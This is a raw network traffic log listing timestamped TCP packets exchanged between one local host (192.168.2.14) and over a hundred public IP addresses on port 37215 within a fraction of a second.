Aug 1, 2024 15:34:58.175976038 CEST	34898	37215	192.168.2.14	41.228.33.211
Aug 1, 2024 15:34:58.175976992 CEST	43474	37215	192.168.2.14	41.98.222.243
Aug 1, 2024 15:34:58.175980091 CEST	59092	37215	192.168.2.14	41.125.175.119
Aug 1, 2024 15:34:58.175997019 CEST	52746	37215	192.168.2.14	169.58.213.52
Aug 1, 2024 15:34:58.176033020 CEST	34608	37215	192.168.2.14	157.94.115.44
Aug 1, 2024 15:34:58.176064968 CEST	55946	37215	192.168.2.14	157.66.197.74
Aug 1, 2024 15:34:58.176192045 CEST	37215	46658	41.52.215.85	192.168.2.14
Aug 1, 2024 15:34:58.176395893 CEST	36940	37215	192.168.2.14	41.49.20.76
Aug 1, 2024 15:34:58.176974058 CEST	37215	58240	82.116.139.160	192.168.2.14
Aug 1, 2024 15:34:58.177299023 CEST	37215	45634	41.64.157.89	192.168.2.14
Aug 1, 2024 15:34:58.177309036 CEST	37215	53014	197.88.245.59	192.168.2.14
Aug 1, 2024 15:34:58.177321911 CEST	37215	54406	157.52.39.90	192.168.2.14
Aug 1, 2024 15:34:58.177331924 CEST	37215	36502	157.196.70.246	192.168.2.14
Aug 1, 2024 15:34:58.177352905 CEST	42898	37215	192.168.2.14	101.107.3.199
Aug 1, 2024 15:34:58.177440882 CEST	37215	42612	197.57.88.125	192.168.2.14
Aug 1, 2024 15:34:58.177500010 CEST	37215	56302	197.82.36.239	192.168.2.14
Aug 1, 2024 15:34:58.177553892 CEST	37215	43122	41.91.123.73	192.168.2.14
Aug 1, 2024 15:34:58.177565098 CEST	37215	54412	41.28.20.27	192.168.2.14
Aug 1, 2024 15:34:58.177654028 CEST	37215	54890	44.185.0.157	192.168.2.14
Aug 1, 2024 15:34:58.177664042 CEST	37215	44792	107.149.239.1	192.168.2.14
Aug 1, 2024 15:34:58.177675962 CEST	37215	50448	41.4.254.184	192.168.2.14
Aug 1, 2024 15:34:58.177706957 CEST	37215	36488	157.55.116.173	192.168.2.14
Aug 1, 2024 15:34:58.177750111 CEST	37215	57782	197.215.49.120	192.168.2.14
Aug 1, 2024 15:34:58.177794933 CEST	37215	35330	41.185.152.245	192.168.2.14
Aug 1, 2024 15:34:58.177805901 CEST	37215	39006	41.70.247.100	192.168.2.14
Aug 1, 2024 15:34:58.178014040 CEST	37215	50402	157.17.1.228	192.168.2.14
Aug 1, 2024 15:34:58.178109884 CEST	37215	51216	19.145.5.222	192.168.2.14
Aug 1, 2024 15:34:58.178159952 CEST	37215	57916	41.113.216.82	192.168.2.14
Aug 1, 2024 15:34:58.178199053 CEST	41578	37215	192.168.2.14	157.107.85.170
Aug 1, 2024 15:34:58.178284883 CEST	37215	53558	203.94.61.115	192.168.2.14
Aug 1, 2024 15:34:58.178370953 CEST	37215	35868	41.253.207.136	192.168.2.14
Aug 1, 2024 15:34:58.178380966 CEST	37215	43126	68.0.81.20	192.168.2.14
Aug 1, 2024 15:34:58.178419113 CEST	37215	41150	197.224.129.118	192.168.2.14
Aug 1, 2024 15:34:58.178607941 CEST	37215	57220	157.106.54.160	192.168.2.14
Aug 1, 2024 15:34:58.178617001 CEST	37215	35730	41.157.106.162	192.168.2.14
Aug 1, 2024 15:34:58.178705931 CEST	37215	41566	66.156.73.237	192.168.2.14
Aug 1, 2024 15:34:58.178718090 CEST	37215	53588	197.255.40.203	192.168.2.14
Aug 1, 2024 15:34:58.178766012 CEST	37215	49900	197.113.81.148	192.168.2.14
Aug 1, 2024 15:34:58.178776026 CEST	37215	49856	157.181.223.139	192.168.2.14
Aug 1, 2024 15:34:58.178806067 CEST	37215	38210	98.82.168.244	192.168.2.14
Aug 1, 2024 15:34:58.178817034 CEST	37215	42762	197.83.25.177	192.168.2.14
Aug 1, 2024 15:34:58.178858042 CEST	37215	49460	44.77.58.180	192.168.2.14
Aug 1, 2024 15:34:58.178906918 CEST	37215	53122	41.2.62.147	192.168.2.14
Aug 1, 2024 15:34:58.178917885 CEST	37215	48260	157.91.246.246	192.168.2.14
Aug 1, 2024 15:34:58.179061890 CEST	37215	41412	197.127.165.110	192.168.2.14
Aug 1, 2024 15:34:58.179109097 CEST	60328	37215	192.168.2.14	157.142.158.108
Aug 1, 2024 15:34:58.179126978 CEST	37215	48784	157.90.89.6	192.168.2.14
Aug 1, 2024 15:34:58.179137945 CEST	37215	43032	41.191.132.216	192.168.2.14
Aug 1, 2024 15:34:58.179183006 CEST	37215	49540	197.160.38.240	192.168.2.14
Aug 1, 2024 15:34:58.179193020 CEST	37215	50436	197.121.194.218	192.168.2.14
Aug 1, 2024 15:34:58.179305077 CEST	37215	43700	157.98.134.211	192.168.2.14
Aug 1, 2024 15:34:58.179315090 CEST	37215	53284	41.79.224.118	192.168.2.14
Aug 1, 2024 15:34:58.179341078 CEST	37215	55618	118.147.89.129	192.168.2.14
Aug 1, 2024 15:34:58.179378986 CEST	37215	39872	157.239.149.213	192.168.2.14
Aug 1, 2024 15:34:58.179419994 CEST	37215	56370	18.233.13.67	192.168.2.14
Aug 1, 2024 15:34:58.179430962 CEST	37215	43312	197.205.194.24	192.168.2.14
Aug 1, 2024 15:34:58.179475069 CEST	37215	54618	157.225.205.202	192.168.2.14
Aug 1, 2024 15:34:58.179486036 CEST	37215	49140	197.242.163.116	192.168.2.14
Aug 1, 2024 15:34:58.179527044 CEST	37215	36164	197.107.232.97	192.168.2.14
Aug 1, 2024 15:34:58.179543018 CEST	37215	41764	41.45.167.141	192.168.2.14
Aug 1, 2024 15:34:58.179567099 CEST	37215	46298	157.88.117.172	192.168.2.14
Aug 1, 2024 15:34:58.179685116 CEST	37215	38880	41.116.75.57	192.168.2.14
Aug 1, 2024 15:34:58.179697037 CEST	37215	36606	197.65.108.30	192.168.2.14
Aug 1, 2024 15:34:58.179709911 CEST	37215	60728	212.190.57.96	192.168.2.14
Aug 1, 2024 15:34:58.179917097 CEST	33536	37215	192.168.2.14	157.225.94.19
Aug 1, 2024 15:34:58.180095911 CEST	37215	60292	41.96.145.99	192.168.2.14
Aug 1, 2024 15:34:58.180107117 CEST	37215	43460	157.12.156.65	192.168.2.14
Aug 1, 2024 15:34:58.180167913 CEST	37215	45024	157.12.108.240	192.168.2.14
Aug 1, 2024 15:34:58.180176973 CEST	37215	57802	157.247.36.52	192.168.2.14
Aug 1, 2024 15:34:58.180280924 CEST	37215	43280	197.121.57.225	192.168.2.14
Aug 1, 2024 15:34:58.180291891 CEST	37215	58516	157.132.71.173	192.168.2.14
Aug 1, 2024 15:34:58.180382013 CEST	37215	37320	41.137.205.74	192.168.2.14
Aug 1, 2024 15:34:58.180402040 CEST	37215	34108	125.247.115.64	192.168.2.14
Aug 1, 2024 15:34:58.180444956 CEST	37215	51886	197.154.223.242	192.168.2.14
Aug 1, 2024 15:34:58.180454969 CEST	37215	38050	197.191.33.129	192.168.2.14
Aug 1, 2024 15:34:58.180545092 CEST	37215	37500	157.168.134.231	192.168.2.14
Aug 1, 2024 15:34:58.180558920 CEST	37215	60510	41.108.225.40	192.168.2.14
Aug 1, 2024 15:34:58.180636883 CEST	37215	43050	45.92.12.80	192.168.2.14
Aug 1, 2024 15:34:58.180648088 CEST	37215	51354	41.48.148.177	192.168.2.14
Aug 1, 2024 15:34:58.180691004 CEST	37215	49856	80.107.166.82	192.168.2.14
Aug 1, 2024 15:34:58.180701017 CEST	37215	39718	2.233.87.191	192.168.2.14
Aug 1, 2024 15:34:58.180780888 CEST	37215	40568	41.52.120.7	192.168.2.14
Aug 1, 2024 15:34:58.180792093 CEST	37215	58116	197.16.114.102	192.168.2.14
Aug 1, 2024 15:34:58.180825949 CEST	37215	58542	41.89.31.71	192.168.2.14
Aug 1, 2024 15:34:58.180913925 CEST	37215	60636	157.168.51.50	192.168.2.14
Aug 1, 2024 15:34:58.180923939 CEST	37215	58386	41.233.214.196	192.168.2.14
Aug 1, 2024 15:34:58.180936098 CEST	37215	52530	114.84.21.38	192.168.2.14
Aug 1, 2024 15:34:58.180953979 CEST	37215	44648	41.229.81.160	192.168.2.14
Aug 1, 2024 15:34:58.181031942 CEST	37215	44656	197.127.161.143	192.168.2.14
Aug 1, 2024 15:34:58.181201935 CEST	37215	58458	106.163.137.105	192.168.2.14
Aug 1, 2024 15:34:58.181245089 CEST	37215	60296	157.165.188.148	192.168.2.14
Aug 1, 2024 15:34:58.181257010 CEST	37215	53748	41.74.231.89	192.168.2.14
Aug 1, 2024 15:34:58.181360006 CEST	37215	43462	41.56.36.10	192.168.2.14
Aug 1, 2024 15:34:58.181370974 CEST	37215	60920	41.229.239.179	192.168.2.14
Aug 1, 2024 15:34:58.181379080 CEST	37215	47536	157.32.51.249	192.168.2.14
Aug 1, 2024 15:34:58.181389093 CEST	37215	56012	46.203.164.151	192.168.2.14
Aug 1, 2024 15:34:58.181571960 CEST	37215	51178	157.63.216.221	192.168.2.14
Aug 1, 2024 15:34:58.181576014 CEST	46700	37215	192.168.2.14	80.200.121.68
Aug 1, 2024 15:34:58.181583881 CEST	37215	36854	197.228.171.36	192.168.2.14
Aug 1, 2024 15:34:58.181593895 CEST	37215	59706	161.151.213.58	192.168.2.14
Aug 1, 2024 15:34:58.181613922 CEST	37215	49628	157.27.194.23	192.168.2.14
Aug 1, 2024 15:34:58.181622982 CEST	37215	54484	157.89.65.138	192.168.2.14
Aug 1, 2024 15:34:58.181718111 CEST	37215	35678	208.8.183.194	192.168.2.14
Aug 1, 2024 15:34:58.181729078 CEST	37215	48904	125.225.95.55	192.168.2.14
Aug 1, 2024 15:34:58.181847095 CEST	37215	53976	191.125.78.193	192.168.2.14
Aug 1, 2024 15:34:58.181881905 CEST	37215	54406	41.24.31.127	192.168.2.14
Aug 1, 2024 15:34:58.181922913 CEST	37215	60868	100.252.103.55	192.168.2.14
Aug 1, 2024 15:34:58.181934118 CEST	37215	57246	91.252.54.120	192.168.2.14
Aug 1, 2024 15:34:58.182041883 CEST	37215	34054	41.84.21.46	192.168.2.14
Aug 1, 2024 15:34:58.182053089 CEST	37215	33046	197.75.199.195	192.168.2.14
Aug 1, 2024 15:34:58.182099104 CEST	37215	50774	147.191.79.16	192.168.2.14
Aug 1, 2024 15:34:58.182116985 CEST	37215	39578	197.62.156.140	192.168.2.14
Aug 1, 2024 15:34:58.182189941 CEST	37215	59172	197.125.178.115	192.168.2.14
Aug 1, 2024 15:34:58.182208061 CEST	37215	53684	41.49.111.213	192.168.2.14
Aug 1, 2024 15:34:58.182245016 CEST	37215	34082	157.219.98.19	192.168.2.14
Aug 1, 2024 15:34:58.182254076 CEST	37215	55906	197.212.133.243	192.168.2.14
Aug 1, 2024 15:34:58.182296038 CEST	37215	38288	197.23.159.50	192.168.2.14
Aug 1, 2024 15:34:58.182307005 CEST	37215	58756	157.53.30.186	192.168.2.14
Aug 1, 2024 15:34:58.182401896 CEST	37215	51770	197.156.116.195	192.168.2.14
Aug 1, 2024 15:34:58.182411909 CEST	37215	36330	41.94.135.61	192.168.2.14
Aug 1, 2024 15:34:58.182439089 CEST	37215	43452	58.248.163.171	192.168.2.14
Aug 1, 2024 15:34:58.182480097 CEST	54722	37215	192.168.2.14	208.209.185.254
Aug 1, 2024 15:34:58.182496071 CEST	37215	46644	200.108.203.195	192.168.2.14
Aug 1, 2024 15:34:58.182614088 CEST	37215	53494	157.44.4.136	192.168.2.14
Aug 1, 2024 15:34:58.182622910 CEST	37215	39006	157.202.20.92	192.168.2.14
Aug 1, 2024 15:34:58.182658911 CEST	37215	43474	41.98.222.243	192.168.2.14
Aug 1, 2024 15:34:58.182668924 CEST	37215	50548	41.63.31.12	192.168.2.14
Aug 1, 2024 15:34:58.182710886 CEST	37215	59092	41.125.175.119	192.168.2.14
Aug 1, 2024 15:34:58.182722092 CEST	37215	52746	169.58.213.52	192.168.2.14
Aug 1, 2024 15:34:58.183008909 CEST	34118	37215	192.168.2.14	157.37.239.222
Aug 1, 2024 15:34:58.183027029 CEST	34898	37215	192.168.2.14	41.228.33.211
Aug 1, 2024 15:34:58.183032990 CEST	60364	37215	192.168.2.14	196.225.244.156
Aug 1, 2024 15:34:58.183038950 CEST	56862	37215	192.168.2.14	8.168.250.255
Aug 1, 2024 15:34:58.183038950 CEST	38288	37215	192.168.2.14	41.38.181.108
Aug 1, 2024 15:34:58.183068991 CEST	58784	37215	192.168.2.14	157.164.17.192
Aug 1, 2024 15:34:58.183089972 CEST	56422	37215	192.168.2.14	41.85.61.54
Aug 1, 2024 15:34:58.183089972 CEST	55946	37215	192.168.2.14	157.66.197.74
Aug 1, 2024 15:34:58.183099985 CEST	34608	37215	192.168.2.14	157.94.115.44
Aug 1, 2024 15:34:58.183120012 CEST	58784	37215	192.168.2.14	157.164.17.192
Aug 1, 2024 15:34:58.183147907 CEST	38442	37215	192.168.2.14	34.214.141.25
Aug 1, 2024 15:34:58.183150053 CEST	56422	37215	192.168.2.14	41.85.61.54
Aug 1, 2024 15:34:58.183151007 CEST	38288	37215	192.168.2.14	41.38.181.108
Aug 1, 2024 15:34:58.183159113 CEST	38442	37215	192.168.2.14	34.214.141.25
Aug 1, 2024 15:34:58.183305979 CEST	37215	36378	197.183.29.85	192.168.2.14
Aug 1, 2024 15:34:58.183326006 CEST	37215	47622	197.122.92.13	192.168.2.14
Aug 1, 2024 15:34:58.183348894 CEST	36378	37215	192.168.2.14	197.183.29.85
Aug 1, 2024 15:34:58.183377028 CEST	47622	37215	192.168.2.14	197.122.92.13
Aug 1, 2024 15:34:58.183378935 CEST	36378	37215	192.168.2.14	197.183.29.85
Aug 1, 2024 15:34:58.183398008 CEST	36378	37215	192.168.2.14	197.183.29.85
Aug 1, 2024 15:34:58.183422089 CEST	47622	37215	192.168.2.14	197.122.92.13
Aug 1, 2024 15:34:58.183432102 CEST	47622	37215	192.168.2.14	197.122.92.13
Aug 1, 2024 15:34:58.185616016 CEST	37215	34118	157.37.239.222	192.168.2.14
Aug 1, 2024 15:34:58.185631990 CEST	37215	60364	196.225.244.156	192.168.2.14
Aug 1, 2024 15:34:58.185689926 CEST	37215	56862	8.168.250.255	192.168.2.14
Aug 1, 2024 15:34:58.185710907 CEST	37215	34898	41.228.33.211	192.168.2.14
Aug 1, 2024 15:34:58.185964108 CEST	37215	34608	157.94.115.44	192.168.2.14
Aug 1, 2024 15:34:58.185975075 CEST	37215	55946	157.66.197.74	192.168.2.14
Aug 1, 2024 15:34:58.185986996 CEST	37215	36940	41.49.20.76	192.168.2.14
Aug 1, 2024 15:34:58.186011076 CEST	37215	42898	101.107.3.199	192.168.2.14
Aug 1, 2024 15:34:58.186022043 CEST	37215	41578	157.107.85.170	192.168.2.14
Aug 1, 2024 15:34:58.186032057 CEST	37215	60328	157.142.158.108	192.168.2.14
Aug 1, 2024 15:34:58.186038971 CEST	36940	37215	192.168.2.14	41.49.20.76
Aug 1, 2024 15:34:58.186041117 CEST	37215	33536	157.225.94.19	192.168.2.14
Aug 1, 2024 15:34:58.186055899 CEST	41578	37215	192.168.2.14	157.107.85.170
Aug 1, 2024 15:34:58.186060905 CEST	42898	37215	192.168.2.14	101.107.3.199
Aug 1, 2024 15:34:58.186063051 CEST	60328	37215	192.168.2.14	157.142.158.108
Aug 1, 2024 15:34:58.186075926 CEST	33536	37215	192.168.2.14	157.225.94.19
Aug 1, 2024 15:34:58.186105013 CEST	36940	37215	192.168.2.14	41.49.20.76
Aug 1, 2024 15:34:58.186120987 CEST	42898	37215	192.168.2.14	101.107.3.199
Aug 1, 2024 15:34:58.186131954 CEST	36940	37215	192.168.2.14	41.49.20.76
Aug 1, 2024 15:34:58.186151981 CEST	41578	37215	192.168.2.14	157.107.85.170
Aug 1, 2024 15:34:58.186167955 CEST	60328	37215	192.168.2.14	157.142.158.108
Aug 1, 2024 15:34:58.186172962 CEST	42898	37215	192.168.2.14	101.107.3.199
Aug 1, 2024 15:34:58.186187983 CEST	33536	37215	192.168.2.14	157.225.94.19
Aug 1, 2024 15:34:58.186208010 CEST	60328	37215	192.168.2.14	157.142.158.108
Aug 1, 2024 15:34:58.186208010 CEST	41578	37215	192.168.2.14	157.107.85.170
Aug 1, 2024 15:34:58.186218977 CEST	33536	37215	192.168.2.14	157.225.94.19
Aug 1, 2024 15:34:58.190469980 CEST	37215	46700	80.200.121.68	192.168.2.14
Aug 1, 2024 15:34:58.190483093 CEST	37215	54722	208.209.185.254	192.168.2.14
Aug 1, 2024 15:34:58.190490961 CEST	37215	38288	41.38.181.108	192.168.2.14
Aug 1, 2024 15:34:58.190551043 CEST	46700	37215	192.168.2.14	80.200.121.68
Aug 1, 2024 15:34:58.190551043 CEST	46700	37215	192.168.2.14	80.200.121.68
Aug 1, 2024 15:34:58.190571070 CEST	54722	37215	192.168.2.14	208.209.185.254
Aug 1, 2024 15:34:58.190572023 CEST	54722	37215	192.168.2.14	208.209.185.254
Aug 1, 2024 15:34:58.190576077 CEST	37215	58784	157.164.17.192	192.168.2.14
Aug 1, 2024 15:34:58.190584898 CEST	37215	56422	41.85.61.54	192.168.2.14
Aug 1, 2024 15:34:58.190610886 CEST	46700	37215	192.168.2.14	80.200.121.68
Aug 1, 2024 15:34:58.190612078 CEST	54722	37215	192.168.2.14	208.209.185.254
Aug 1, 2024 15:34:58.190625906 CEST	37215	38442	34.214.141.25	192.168.2.14
Aug 1, 2024 15:34:58.190666914 CEST	37215	36378	197.183.29.85	192.168.2.14
Aug 1, 2024 15:34:58.190754890 CEST	37215	47622	197.122.92.13	192.168.2.14
Aug 1, 2024 15:34:58.191008091 CEST	37215	36940	41.49.20.76	192.168.2.14
Aug 1, 2024 15:34:58.191018105 CEST	37215	42898	101.107.3.199	192.168.2.14
Aug 1, 2024 15:34:58.191118002 CEST	37215	41578	157.107.85.170	192.168.2.14
Aug 1, 2024 15:34:58.191179037 CEST	37215	60328	157.142.158.108	192.168.2.14
Aug 1, 2024 15:34:58.191190958 CEST	37215	33536	157.225.94.19	192.168.2.14
Aug 1, 2024 15:34:58.195442915 CEST	37215	46700	80.200.121.68	192.168.2.14
Aug 1, 2024 15:34:58.195456028 CEST	37215	54722	208.209.185.254	192.168.2.14
Aug 1, 2024 15:34:58.210361004 CEST	37215	44082	157.23.212.95	192.168.2.14
Aug 1, 2024 15:34:58.210380077 CEST	37215	44852	157.195.63.88	192.168.2.14
Aug 1, 2024 15:34:58.210391045 CEST	37215	48580	63.87.52.92	192.168.2.14
Aug 1, 2024 15:34:58.210402012 CEST	37215	35486	157.182.153.106	192.168.2.14
Aug 1, 2024 15:34:58.210421085 CEST	37215	38350	157.72.40.80	192.168.2.14
Aug 1, 2024 15:34:58.226780891 CEST	37215	52746	169.58.213.52	192.168.2.14
Aug 1, 2024 15:34:58.226799011 CEST	37215	59092	41.125.175.119	192.168.2.14
Aug 1, 2024 15:34:58.226810932 CEST	37215	43474	41.98.222.243	192.168.2.14
Aug 1, 2024 15:34:58.226824045 CEST	37215	39006	157.202.20.92	192.168.2.14
Aug 1, 2024 15:34:58.226836920 CEST	37215	50548	41.63.31.12	192.168.2.14
Aug 1, 2024 15:34:58.226861954 CEST	37215	53494	157.44.4.136	192.168.2.14
Aug 1, 2024 15:34:58.226876020 CEST	37215	46644	200.108.203.195	192.168.2.14
Aug 1, 2024 15:34:58.226886988 CEST	37215	43452	58.248.163.171	192.168.2.14
Aug 1, 2024 15:34:58.226898909 CEST	37215	36330	41.94.135.61	192.168.2.14
Aug 1, 2024 15:34:58.226911068 CEST	37215	51770	197.156.116.195	192.168.2.14
Aug 1, 2024 15:34:58.226922989 CEST	37215	38288	197.23.159.50	192.168.2.14
Aug 1, 2024 15:34:58.226934910 CEST	37215	53684	41.49.111.213	192.168.2.14
Aug 1, 2024 15:34:58.226946115 CEST	37215	58756	157.53.30.186	192.168.2.14
Aug 1, 2024 15:34:58.226957083 CEST	37215	55906	197.212.133.243	192.168.2.14
Aug 1, 2024 15:34:58.226968050 CEST	37215	34082	157.219.98.19	192.168.2.14
Aug 1, 2024 15:34:58.226980925 CEST	37215	59172	197.125.178.115	192.168.2.14
Aug 1, 2024 15:34:58.226991892 CEST	37215	39578	197.62.156.140	192.168.2.14
Aug 1, 2024 15:34:58.227001905 CEST	37215	50774	147.191.79.16	192.168.2.14
Aug 1, 2024 15:34:58.227029085 CEST	37215	34054	41.84.21.46	192.168.2.14
Aug 1, 2024 15:34:58.227039099 CEST	37215	33046	197.75.199.195	192.168.2.14
Aug 1, 2024 15:34:58.227051020 CEST	37215	57246	91.252.54.120	192.168.2.14
Aug 1, 2024 15:34:58.227061987 CEST	37215	53976	191.125.78.193	192.168.2.14
Aug 1, 2024 15:34:58.227072001 CEST	37215	54406	41.24.31.127	192.168.2.14
Aug 1, 2024 15:34:58.227083921 CEST	37215	60868	100.252.103.55	192.168.2.14
Aug 1, 2024 15:34:58.227093935 CEST	37215	48904	125.225.95.55	192.168.2.14
Aug 1, 2024 15:34:58.227103949 CEST	37215	54484	157.89.65.138	192.168.2.14
Aug 1, 2024 15:34:58.227114916 CEST	37215	35678	208.8.183.194	192.168.2.14
Aug 1, 2024 15:34:58.227124929 CEST	37215	56012	46.203.164.151	192.168.2.14
Aug 1, 2024 15:34:58.227135897 CEST	37215	49628	157.27.194.23	192.168.2.14
Aug 1, 2024 15:34:58.227145910 CEST	37215	36854	197.228.171.36	192.168.2.14
Aug 1, 2024 15:34:58.227158070 CEST	37215	59706	161.151.213.58	192.168.2.14
Aug 1, 2024 15:34:58.227169037 CEST	37215	51178	157.63.216.221	192.168.2.14
Aug 1, 2024 15:34:58.227179050 CEST	37215	47536	157.32.51.249	192.168.2.14
Aug 1, 2024 15:34:58.227190018 CEST	37215	60920	41.229.239.179	192.168.2.14
Aug 1, 2024 15:34:58.227200031 CEST	37215	53748	41.74.231.89	192.168.2.14
Aug 1, 2024 15:34:58.227210045 CEST	37215	43462	41.56.36.10	192.168.2.14
Aug 1, 2024 15:34:58.227220058 CEST	37215	44648	41.229.81.160	192.168.2.14
Aug 1, 2024 15:34:58.227241993 CEST	37215	58386	41.233.214.196	192.168.2.14
Aug 1, 2024 15:34:58.227252007 CEST	37215	60296	157.165.188.148	192.168.2.14
Aug 1, 2024 15:34:58.227262974 CEST	37215	58458	106.163.137.105	192.168.2.14
Aug 1, 2024 15:34:58.227272987 CEST	37215	44656	197.127.161.143	192.168.2.14
Aug 1, 2024 15:34:58.227283955 CEST	37215	52530	114.84.21.38	192.168.2.14
Aug 1, 2024 15:34:58.227294922 CEST	37215	60636	157.168.51.50	192.168.2.14
Aug 1, 2024 15:34:58.227305889 CEST	37215	58542	41.89.31.71	192.168.2.14
Aug 1, 2024 15:34:58.227315903 CEST	37215	58116	197.16.114.102	192.168.2.14
Aug 1, 2024 15:34:58.227327108 CEST	37215	40568	41.52.120.7	192.168.2.14
Aug 1, 2024 15:34:58.227338076 CEST	37215	39718	2.233.87.191	192.168.2.14
Aug 1, 2024 15:34:58.227346897 CEST	37215	38050	197.191.33.129	192.168.2.14
Aug 1, 2024 15:34:58.227356911 CEST	37215	49856	80.107.166.82	192.168.2.14
Aug 1, 2024 15:34:58.227366924 CEST	37215	43050	45.92.12.80	192.168.2.14
Aug 1, 2024 15:34:58.227376938 CEST	37215	37500	157.168.134.231	192.168.2.14
Aug 1, 2024 15:34:58.227387905 CEST	37215	51354	41.48.148.177	192.168.2.14
Aug 1, 2024 15:34:58.227396965 CEST	37215	51886	197.154.223.242	192.168.2.14
Aug 1, 2024 15:34:58.227408886 CEST	37215	60510	41.108.225.40	192.168.2.14
Aug 1, 2024 15:34:58.227418900 CEST	37215	43280	197.121.57.225	192.168.2.14
Aug 1, 2024 15:34:58.227430105 CEST	37215	60292	41.96.145.99	192.168.2.14
Aug 1, 2024 15:34:58.227440119 CEST	37215	34108	125.247.115.64	192.168.2.14
Aug 1, 2024 15:34:58.227461100 CEST	37215	37320	41.137.205.74	192.168.2.14
Aug 1, 2024 15:34:58.227472067 CEST	37215	58516	157.132.71.173	192.168.2.14
Aug 1, 2024 15:34:58.227482080 CEST	37215	43460	157.12.156.65	192.168.2.14
Aug 1, 2024 15:34:58.227493048 CEST	37215	36606	197.65.108.30	192.168.2.14
Aug 1, 2024 15:34:58.227503061 CEST	37215	45024	157.12.108.240	192.168.2.14
Aug 1, 2024 15:34:58.227513075 CEST	37215	57802	157.247.36.52	192.168.2.14
Aug 1, 2024 15:34:58.227524042 CEST	37215	60728	212.190.57.96	192.168.2.14
Aug 1, 2024 15:34:58.227535009 CEST	37215	36164	197.107.232.97	192.168.2.14
Aug 1, 2024 15:34:58.227545977 CEST	37215	43312	197.205.194.24	192.168.2.14
Aug 1, 2024 15:34:58.227555990 CEST	37215	38880	41.116.75.57	192.168.2.14
Aug 1, 2024 15:34:58.227566004 CEST	37215	46298	157.88.117.172	192.168.2.14
Aug 1, 2024 15:34:58.227576017 CEST	37215	41764	41.45.167.141	192.168.2.14
Aug 1, 2024 15:34:58.227586985 CEST	37215	49140	197.242.163.116	192.168.2.14
Aug 1, 2024 15:34:58.227596998 CEST	37215	54618	157.225.205.202	192.168.2.14
Aug 1, 2024 15:34:58.227607012 CEST	37215	56370	18.233.13.67	192.168.2.14
Aug 1, 2024 15:34:58.227617979 CEST	37215	39872	157.239.149.213	192.168.2.14
Aug 1, 2024 15:34:58.227627993 CEST	37215	55618	118.147.89.129	192.168.2.14
Aug 1, 2024 15:34:58.227638006 CEST	37215	53284	41.79.224.118	192.168.2.14
Aug 1, 2024 15:34:58.227648973 CEST	37215	43700	157.98.134.211	192.168.2.14
Aug 1, 2024 15:34:58.227658033 CEST	37215	49540	197.160.38.240	192.168.2.14
Aug 1, 2024 15:34:58.227669954 CEST	37215	50436	197.121.194.218	192.168.2.14
Aug 1, 2024 15:34:58.227680922 CEST	37215	43032	41.191.132.216	192.168.2.14
Aug 1, 2024 15:34:58.227691889 CEST	37215	41412	197.127.165.110	192.168.2.14
Aug 1, 2024 15:34:58.227701902 CEST	37215	48784	157.90.89.6	192.168.2.14
Aug 1, 2024 15:34:58.227713108 CEST	37215	49460	44.77.58.180	192.168.2.14
Aug 1, 2024 15:34:58.227724075 CEST	37215	48260	157.91.246.246	192.168.2.14
Aug 1, 2024 15:34:58.227734089 CEST	37215	53122	41.2.62.147	192.168.2.14
Aug 1, 2024 15:34:58.227744102 CEST	37215	49856	157.181.223.139	192.168.2.14
Aug 1, 2024 15:34:58.227754116 CEST	37215	42762	197.83.25.177	192.168.2.14
Aug 1, 2024 15:34:58.227763891 CEST	37215	41566	66.156.73.237	192.168.2.14
Aug 1, 2024 15:34:58.227775097 CEST	37215	38210	98.82.168.244	192.168.2.14
Aug 1, 2024 15:34:58.227783918 CEST	37215	49900	197.113.81.148	192.168.2.14
Aug 1, 2024 15:34:58.227793932 CEST	37215	53588	197.255.40.203	192.168.2.14
Aug 1, 2024 15:34:58.227804899 CEST	37215	35730	41.157.106.162	192.168.2.14
Aug 1, 2024 15:34:58.227813959 CEST	37215	57220	157.106.54.160	192.168.2.14
Aug 1, 2024 15:34:58.227829933 CEST	37215	41150	197.224.129.118	192.168.2.14
Aug 1, 2024 15:34:58.227840900 CEST	37215	35868	41.253.207.136	192.168.2.14
Aug 1, 2024 15:34:58.227850914 CEST	37215	43126	68.0.81.20	192.168.2.14
Aug 1, 2024 15:34:58.227860928 CEST	37215	53558	203.94.61.115	192.168.2.14
Aug 1, 2024 15:34:58.227870941 CEST	37215	51216	19.145.5.222	192.168.2.14
Aug 1, 2024 15:34:58.227880001 CEST	37215	57916	41.113.216.82	192.168.2.14
Aug 1, 2024 15:34:58.227890015 CEST	37215	50402	157.17.1.228	192.168.2.14
Aug 1, 2024 15:34:58.227904081 CEST	37215	39006	41.70.247.100	192.168.2.14
Aug 1, 2024 15:34:58.227917910 CEST	37215	35330	41.185.152.245	192.168.2.14
Aug 1, 2024 15:34:58.227927923 CEST	37215	36488	157.55.116.173	192.168.2.14
Aug 1, 2024 15:34:58.227938890 CEST	37215	50448	41.4.254.184	192.168.2.14
Aug 1, 2024 15:34:58.227947950 CEST	37215	57782	197.215.49.120	192.168.2.14
Aug 1, 2024 15:34:58.227958918 CEST	37215	54412	41.28.20.27	192.168.2.14
Aug 1, 2024 15:34:58.227968931 CEST	37215	44792	107.149.239.1	192.168.2.14
Aug 1, 2024 15:34:58.227979898 CEST	37215	54890	44.185.0.157	192.168.2.14
Aug 1, 2024 15:34:58.227991104 CEST	37215	43122	41.91.123.73	192.168.2.14
Aug 1, 2024 15:34:58.228002071 CEST	37215	56302	197.82.36.239	192.168.2.14
Aug 1, 2024 15:34:58.228012085 CEST	37215	42612	197.57.88.125	192.168.2.14
Aug 1, 2024 15:34:58.228023052 CEST	37215	36502	157.196.70.246	192.168.2.14
Aug 1, 2024 15:34:58.228033066 CEST	37215	54406	157.52.39.90	192.168.2.14
Aug 1, 2024 15:34:58.228043079 CEST	37215	53014	197.88.245.59	192.168.2.14
Aug 1, 2024 15:34:58.228053093 CEST	37215	45634	41.64.157.89	192.168.2.14
Aug 1, 2024 15:34:58.228061914 CEST	37215	58240	82.116.139.160	192.168.2.14
Aug 1, 2024 15:34:58.228071928 CEST	37215	46658	41.52.215.85	192.168.2.14
Aug 1, 2024 15:34:58.228084087 CEST	37215	55838	166.129.216.186	192.168.2.14
Aug 1, 2024 15:34:58.228094101 CEST	37215	46612	157.130.88.220	192.168.2.14
Aug 1, 2024 15:34:58.230319977 CEST	37215	56862	8.168.250.255	192.168.2.14
Aug 1, 2024 15:34:58.230330944 CEST	37215	34898	41.228.33.211	192.168.2.14
Aug 1, 2024 15:34:58.230340958 CEST	37215	60364	196.225.244.156	192.168.2.14
Aug 1, 2024 15:34:58.230351925 CEST	37215	34118	157.37.239.222	192.168.2.14
Aug 1, 2024 15:34:58.235198975 CEST	37215	33536	157.225.94.19	192.168.2.14
